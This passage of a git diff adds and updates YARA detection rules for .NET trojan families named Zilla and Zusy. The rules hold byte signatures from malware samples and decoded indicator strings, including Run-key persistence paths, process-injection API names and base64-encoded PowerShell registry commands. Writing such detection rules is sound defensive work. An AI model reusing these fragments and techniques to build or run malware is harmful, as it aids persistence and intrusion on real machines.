70 0a 72 ?? 03 00 70 0b 73 41 00 00 0a 0c 00 08 06 07 6f 42 00 00 0a 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SWC_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SWC_MTB.yar new file mode 100644 index 0000000000..2454d98473 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SWC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_SWC_MTB{ + meta: + description = "Trojan:BAT/Zilla.SWC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {28 a3 00 00 06 2d 06 16 28 ?? 00 00 0a 14 fe 06 98 00 00 06 73 2f 00 00 0a 73 30 00 00 0a 0b 14 fe 06 27 00 00 06 73 2f 00 00 0a 73 30 00 00 0a 0a 28 ?? 00 00 06 80 0a 00 00 04 07 6f ?? 00 00 0a 06 6f ?? 00 00 0a 07 6f ?? 00 00 0a 06 6f ?? 00 00 0a 2a } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SWD_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SWD_MTB.yar new file mode 100644 index 0000000000..c46a0e2c08 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SWD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_SWD_MTB{ + meta: + description = "Trojan:BAT/Zilla.SWD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {02 8e 69 8d 05 00 00 01 0a 16 0b 2b 13 06 07 02 07 91 03 07 03 8e 69 5d 91 61 d2 9c 07 17 58 0b 07 02 8e 69 32 e7 06 2a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SWE_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SWE_MTB.yar new file mode 100644 index 0000000000..440f08555c --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SWE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_SWE_MTB{ + meta: + description = "Trojan:BAT/Zilla.SWE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {28 0e 00 00 06 80 01 00 00 04 28 0f 00 00 06 80 02 00 00 04 28 10 00 00 06 80 03 00 00 04 28 11 00 00 06 80 04 00 00 04 28 12 00 00 06 80 05 00 00 04 28 13 00 00 06 80 06 00 00 04 28 14 00 00 06 80 07 00 00 04 28 15 00 00 06 80 08 00 00 04 28 16 00 00 06 80 09 00 00 04 28 17 00 00 06 80 0a 00 00 04 28 18 00 00 06 80 0b 00 00 04 28 19 00 00 06 80 0c 00 00 04 28 1a 00 00 06 80 0d 00 00 04 28 1b 00 00 06 80 0e 00 00 04 28 1c 00 00 06 80 0f 00 00 04 28 1d 00 00 06 80 10 00 00 04 28 1e 00 00 06 80 11 00 00 04 28 1f 00 00 06 80 12 00 00 04 28 20 00 00 06 80 13 00 00 04 2a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZLY_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZLY_MTB.yar new file mode 100644 index 0000000000..09006cd32e --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZLY_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Zilla_ZLY_MTB{ + meta: + description = "Trojan:BAT/Zilla.ZLY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {0a 25 20 02 00 00 00 6f ?? 00 00 0a 25 fe 09 01 00 28 ?? 00 00 0a fe 09 02 00 28 ?? 00 00 0a 6f ?? 00 00 0a 25 fe 0c 00 00 20 00 00 00 00 fe 0c 00 00 8e 69 6f ?? 00 00 0a fe 0e 01 00 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZNS_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZNS_MTB.yar new file mode 100644 index 0000000000..c8052da385 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZNS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_ZNS_MTB{ + meta: + description = "Trojan:BAT/Zilla.ZNS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0a 7d 12 01 00 04 19 8d ?? 00 00 01 25 16 11 4c 7c ?? 01 00 04 28 ?? 01 00 0a 9c 25 17 11 4c 7c ?? 01 00 04 28 ?? 01 00 0a 9c 25 18 11 4c 7c ?? 01 00 04 28 ?? 01 00 0a 9c 13 50 11 50 7e ?? 01 00 04 25 2d 17 26 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZYT_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZYT_MTB.yar new file mode 100644 index 0000000000..99c4a2ca80 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZYT_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Zilla_ZYT_MTB{ + meta: + description = "Trojan:BAT/Zilla.ZYT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 00 " + + strings : + $a_03_0 = {03 1f 64 5a 06 6f ?? 00 00 0a 5b 5a 1f 64 5b 0c 03 03 1f 64 5a 06 6f ?? 00 00 0a 5b 03 5a 1f 64 5b 58 1f 64 58 0d 06 09 08 } //6 + $a_03_1 = {20 b1 04 00 00 28 ?? 00 00 0a 00 02 1c 28 ?? 00 00 0a 00 20 50 46 } //5 + $a_80_2 = {53 4f 5f 46 54 5f 57 5f 41 52 5f 45 5c 4d 69 5f 63 72 5f 6f 5f 73 6f 5f 66 5f 74 5c 57 5f 69 6e 5f 64 6f 5f 77 5f 73 5c 43 5f 75 5f 72 72 5f 65 6e 5f 74 56 5f 65 72 5f 73 5f 69 6f 6e 5c 52 5f 75 5f 6e } //SO_FT_W_AR_E\Mi_cr_o_so_f_t\W_in_do_w_s\C_u_rr_en_tV_er_s_ion\R_u_n 1 + $a_80_3 = {70 72 5f 6f 67 72 5f 61 6d 20 66 69 6c 65 73 20 28 78 38 5f 36 29 } //pr_ogr_am files (x8_6) 1 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZZM_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZZM_MTB.yar new file mode 100644 index 0000000000..cbc49f4dff --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZZM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Zilla_ZZM_MTB{ + meta: + description = "Trojan:BAT/Zilla.ZZM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {08 11 06 11 04 6f ?? 00 00 0a 13 07 07 25 13 08 72 ?? 09 00 70 11 08 72 ?? 09 00 70 6f ?? 00 00 0a 12 07 28 ?? 00 00 0a d6 6f ?? 00 00 0a 00 07 25 13 08 } //10 + $a_01_1 = {47 65 74 50 69 78 65 6c } //1 GetPixel + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZZT_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZZT_MTB.yar new file mode 100644 index 0000000000..08291c37c0 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_ZZT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_ZZT_MTB{ + meta: + description = "Trojan:BAT/Zilla.ZZT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {05 11 04 18 5a 6b 58 13 06 03 11 05 0f 02 28 ?? 00 00 0a 11 06 22 00 00 00 40 5b 59 0f 02 28 ?? 00 00 0a 11 06 22 00 00 00 40 5b 59 11 06 11 06 6f ?? 01 00 0a de 0c } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_AI_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_AI_MTB.yar new file mode 100644 index 0000000000..62390896b0 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_AI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_AI_MTB{ + meta: + description = "Trojan:BAT/Zusy.AI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {7e 3e 00 00 04 20 36 fc 3a 26 20 3a b3 91 9f 61 20 03 00 00 00 63 20 e1 69 35 f7 61 7d 4d 00 00 04 20 3e 00 00 00 28 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_BAC_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_BAC_MTB.yar new file mode 100644 index 0000000000..4461365e9a --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_BAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_BAC_MTB{ + meta: + description = "Trojan:BAT/Zusy.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {00 fe 0c 01 00 fe 0c 03 00 20 00 01 00 00 fe 0c 00 00 fe 0c 00 00 8e 69 20 01 00 00 00 59 fe 0c 03 00 59 91 58 fe 0c 02 00 59 20 00 01 00 00 5d d2 9c 00 fe 0c 03 00 20 01 00 00 00 58 fe 0e 03 00 fe 0c 03 00 fe 0c 00 00 8e 69 fe 04 fe 0e 04 00 fe 0c 04 00 3a a6 ff ff ff } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_EFH_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_EFH_MTB.yar new file mode 100644 index 0000000000..9e7c35dd3c --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_EFH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_EFH_MTB{ + meta: + description = "Trojan:BAT/Zusy.EFH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {45 07 00 00 00 02 00 00 00 0b 00 00 00 14 00 00 00 1b 00 00 00 21 00 00 00 2c 00 00 00 3e 00 00 00 2b 4f 73 03 00 00 0a 0b 17 2b d4 7e 01 00 00 0a 0c 18 2b cb 02 17 da 0d 19 2b c4 16 13 04 1a 2b be } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GAF_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GAF_MTB.yar new file mode 100644 index 0000000000..5d0390e0ac --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GAF_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Zusy_GAF_MTB{ + meta: + description = "Trojan:BAT/Zusy.GAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_80_0 = {4d 54 67 34 4c 6a 49 78 4e 43 34 78 4d 44 63 75 4d 6a 41 3d } //MTg4LjIxNC4xMDcuMjA= 2 + $a_80_1 = {52 32 78 76 59 6d 46 73 58 46 78 58 61 57 35 46 65 48 42 73 62 33 4a 6c 63 6c 4e 35 62 6d 4d 3d } //R2xvYmFsXFxXaW5FeHBsb3JlclN5bmM= 1 + $a_80_2 = {55 32 39 6d 64 48 64 68 63 6d 56 63 58 45 31 70 59 33 4a 76 63 32 39 6d 64 46 78 63 56 32 6c 75 5a 47 39 33 63 31 78 63 51 33 56 79 63 6d 56 75 64 46 5a 6c 63 6e 4e 70 62 32 35 63 58 46 4a 31 62 67 3d 3d } //U29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg== 1 + $a_80_3 = {52 58 68 77 62 47 39 79 5a 58 4a 54 5a 58 4a 32 61 57 4e 6c } //RXhwbG9yZXJTZXJ2aWNl 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GE_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GE_MTB.yar index 22549cc827..117821170d 100644 --- a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GE_MTB.yar +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GE_MTB.yar @@ -1,13 +1,16 @@ rule Trojan_BAT_Zusy_GE_MTB{ meta: - description = "Trojan:BAT/Zusy.GE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + description = "Trojan:BAT/Zusy.GE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 00 " strings : $a_01_0 = {06 11 07 7e 01 00 00 04 11 07 91 7e 01 00 00 04 16 91 61 d2 9c 11 07 17 58 13 07 } //2 - $a_02_1 = {7e 01 00 00 04 8e 69 8d ?? 00 00 01 0a 16 13 07 } //1 + $a_02_1 = {7e 01 00 00 04 8e 69 8d ?? 00 00 01 0a 16 13 07 } //2 $a_01_2 = {46 73 69 67 6e 61 74 75 72 65 2e 63 6f 6d 70 72 65 73 73 65 64 } //1 Fsignature.compressed + $a_01_3 = {70 66 78 2e 73 74 72 6f 6e 67 6e 61 6d 65 2e 63 6f 6d 70 72 65 73 73 65 64 } //1 pfx.strongname.compressed + $a_01_4 = {70 66 78 2e 73 74 67 6e 61 6d 65 2e 63 6f 6d 70 72 65 73 73 65 64 } //1 pfx.stgname.compressed + $a_01_5 = {63 72 74 2e 70 66 78 2e 63 6f 6d 70 72 65 73 73 65 64 } //1 crt.pfx.compressed condition: - ((#a_01_0 & 1)*2+(#a_02_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + ((#a_01_0 & 1)*2+(#a_02_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 } \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GPAN_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GPAN_MTB.yar new file mode 100644 index 0000000000..6335a9b5f5 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GPAN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_GPAN_MTB{ + meta: + description = "Trojan:BAT/Zusy.GPAN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {11 07 8e 69 5d 91 61 d2 81 ?? 00 00 01 11 08 17 58 13 08 11 08 11 06 8e 69 } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GPPC_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GPPC_MTB.yar new file mode 100644 index 0000000000..262a63f5b4 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_GPPC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_GPPC_MTB{ + meta: + description = "Trojan:BAT/Zusy.GPPC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {8d 07 00 00 01 25 16 03 1f 4d 6f ?? 00 00 0a d2 9c 25 17 03 1f 5a } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_HBA_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_HBA_MTB.yar new file mode 100644 index 0000000000..4c2bab7226 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_HBA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Zusy_HBA_MTB{ + meta: + description = "Trojan:BAT/Zusy.HBA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {3c 4d 6f 64 75 6c 65 3e 00 ?? ?? ?? ?? ?? ?? ?? ?? 2e 64 6c 6c [0-ff] 00 90 1b 00 00 [0-40] 00 55 52 6c 4d 4f 4e 2e 64 4c 6c 00 } //5 + $a_03_1 = {46 00 69 00 6c 00 65 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 3c 00 0d 00 01 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2e 00 64 00 6c 00 6c 00 } //1 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_HD_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_HD_MTB.yar new file mode 100644 index 0000000000..2afdff1850 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_HD_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Zusy_HD_MTB{ + meta: + description = "Trojan:BAT/Zusy.HD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 05 00 00 " + + strings : + $a_01_0 = {50 52 4f 43 45 53 53 5f 43 52 45 41 54 45 5f 54 48 52 45 41 44 } //1 PROCESS_CREATE_THREAD + $a_01_1 = {43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 } //1 CreateRemoteThread + $a_01_2 = {56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 } //1 VirtualAllocEx + $a_01_3 = {57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 } //1 WriteProcessMemory + $a_01_4 = {5a 00 58 00 68 00 77 00 62 00 47 00 39 00 79 00 5a 00 58 00 49 00 3d 00 00 } //20 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*20) >=23 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_LMJ_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_LMJ_MTB.yar new file mode 100644 index 0000000000..eb883d7735 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_LMJ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Zusy_LMJ_MTB{ + meta: + description = "Trojan:BAT/Zusy.LMJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_01_0 = {07 16 1f 10 28 10 00 00 0a 02 8e 69 18 62 8d 19 00 00 01 0d 16 13 04 16 13 08 2b 5b 02 11 08 95 06 11 08 1f 0f 5f 95 61 13 09 06 11 08 1f 0f 5f 06 11 08 1f 0f 5f 95 11 09 61 20 19 28 db 3d 58 9e 09 11 04 11 09 d2 9c 09 11 04 17 58 11 09 1e 64 d2 9c 09 11 04 18 58 11 09 1f 10 64 d2 9c 09 11 04 19 58 11 09 1f 18 64 d2 9c 11 04 1a 58 } //10 + $a_01_1 = {16 1f 10 28 10 00 00 0a 09 28 04 00 00 06 13 05 09 16 09 8e 69 28 10 00 00 0a 11 05 19 28 11 00 00 0a 13 06 08 20 b7 5c 8a 00 6a 5e 26 16 13 0a 2b 2b 11 05 11 0a 8f 19 00 00 01 25 47 08 d2 61 d2 52 11 0a 20 ff 00 00 00 5f 2d 0b 08 08 5a 20 b7 5c 8a 00 6a 5e 0c 11 0a 17 58 13 0a 11 0a 11 05 8e 69 32 cd 11 06 2a } //20 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*20) >=30 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_NU_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_NU_MTB.yar new file mode 100644 index 0000000000..8e348e6a57 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_NU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Zusy_NU_MTB{ + meta: + description = "Trojan:BAT/Zusy.NU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {0a 25 17 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 25 72 ?? 00 00 70 6f ?? 00 00 0a 25 72 ?? 00 00 70 06 72 ?? 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 28 ?? 00 00 0a 26 } //3 + $a_01_1 = {24 36 65 66 39 62 31 65 35 2d 33 30 64 34 2d 34 31 31 32 2d 62 61 39 37 2d 65 65 62 63 35 66 38 61 63 35 64 38 } //1 $6ef9b1e5-30d4-4112-ba97-eebc5f8ac5d8 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_PGZU_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_PGZU_MTB.yar new file mode 100644 index 0000000000..a896ee26ce --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_PGZU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Zusy_PGZU_MTB{ + meta: + description = "Trojan:BAT/Zusy.PGZU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {11 05 11 0a 8f ?? 00 00 01 25 47 08 d2 61 d2 52 11 0a 20 ff 00 00 00 5f 2d 0b 08 08 5a 20 b7 5c 8a 00 6a 5e 0c 11 0a 17 58 13 0a 11 0a 11 05 8e 69 32 cd } //1 + $a_01_1 = {73 00 65 00 72 00 76 00 65 00 72 00 31 00 2e 00 65 00 78 00 65 } //4 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*4) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_PGZ_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_PGZ_MTB.yar new file mode 100644 index 0000000000..979fb7727b --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_PGZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Zusy_PGZ_MTB{ + meta: + description = "Trojan:BAT/Zusy.PGZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_80_0 = {55 6d 56 74 62 33 5a 6c 4c 55 6c 30 5a 57 31 51 63 6d 39 77 5a 58 4a 30 65 53 41 74 55 47 46 30 61 43 41 69 53 45 74 44 56 54 70 63 55 6b 4e 58 54 56 78 79 59 79 49 67 4c 55 35 68 62 57 55 67 4b 67 30 } //UmVtb3ZlLUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtDVTpcUkNXTVxyYyIgLU5hbWUgKg0 1 + $a_80_1 = {4b 54 6d 56 33 4c 55 6c 30 5a 57 31 51 63 6d 39 77 5a 58 4a 30 65 53 41 74 55 47 46 30 61 43 41 69 53 45 74 44 56 54 70 63 55 6b 4e 58 54 56 78 79 59 79 49 67 4c 55 35 68 62 57 55 67 49 69 52 68 63 6d 64 7a 49 67 } //KTmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtDVTpcUkNXTVxyYyIgLU5hbWUgIiRhcmdzIg 4 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*4) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SCA_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SCA_MTB.yar new file mode 100644 index 0000000000..2366f8e5e7 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SCA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_SCA_MTB{ + meta: + description = "Trojan:BAT/Zusy.SCA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0b 2b 24 07 06 07 06 93 02 7b ?? ?? ?? 04 04 20 2a e7 e5 12 20 7f e7 a6 fa 59 20 a4 ff 3e 18 61 5f 91 04 60 61 d1 9d } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SLF_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SLF_MTB.yar new file mode 100644 index 0000000000..ade2b69b87 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SLF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_SLF_MTB{ + meta: + description = "Trojan:BAT/Zusy.SLF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {73 7c 00 00 0a 13 05 11 04 28 7d 00 00 0a 13 06 16 13 07 2b 34 11 06 11 07 9a 25 28 45 00 00 0a 28 46 00 00 0a 13 08 28 7e 00 00 0a 11 08 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SLIO_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SLIO_MTB.yar new file mode 100644 index 0000000000..cf2ab14d2f --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SLIO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_SLIO_MTB{ + meta: + description = "Trojan:BAT/Zusy.SLIO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {07 9a 0c 08 16 17 6f 66 00 00 0a 12 03 28 67 00 00 0a 2c 20 72 ab 01 00 70 09 8c 3d 00 00 01 28 68 00 00 0a 28 12 00 00 0a 08 28 19 00 00 06 28 14 00 00 06 07 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SL_MTB.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SL_MTB.yar index d3c94ebd14..beadfabeb8 100644 --- a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SL_MTB.yar +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SL_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_BAT_Zusy_SL_MTB{ + meta: + description = "Trojan:BAT/Zusy.SL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {13 07 06 11 04 11 06 11 07 6f b4 00 00 0a 00 11 06 17 d6 13 06 11 06 11 05 31 bf } //2 + $a_81_1 = {46 61 6b 69 6c 61 68 61 72 69 6f 73 2e 52 65 73 6f 75 72 63 65 73 } //2 Fakilaharios.Resources + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*2) >=4 + +} +rule Trojan_BAT_Zusy_SL_MTB_2{ meta: description = "Trojan:BAT/Zusy.SL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " diff --git a/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SM.yar b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SM.yar new file mode 100644 index 0000000000..5c2a0ff1b4 --- /dev/null +++ b/Trojan/BAT/Zusy/Trojan_BAT_Zusy_SM.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zusy_SM{ + meta: + description = "Trojan:BAT/Zusy.SM,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + 